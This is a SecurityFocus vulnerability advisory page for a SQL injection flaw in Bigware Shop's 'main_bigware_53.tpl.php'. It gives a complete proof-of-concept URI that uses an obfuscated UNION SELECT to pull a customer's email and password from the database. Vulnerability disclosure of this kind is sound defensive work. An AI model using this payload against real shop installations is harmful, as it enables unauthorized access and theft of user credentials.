Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

Bigware Shop 'main_bigware_53.tpl.php' SQL Injection Vulnerability

An attacker can exploit this issue via a browser.

The following proof-of-concept URI is available:

http://www.example.com/main_bigware_53.php?op=results&pollid=-1/**/and/**/voteid=0/**/and/**/language_id=5/**/and/**/1=1/**/UnIOn/**/SeLeCt/**/ConCat(former_email_address,0x3a,former_password)/**/FrOM/**/former/**/WhEre/**/former_id=1/*







 

Privacy Statement
Copyright 2009, SecurityFocus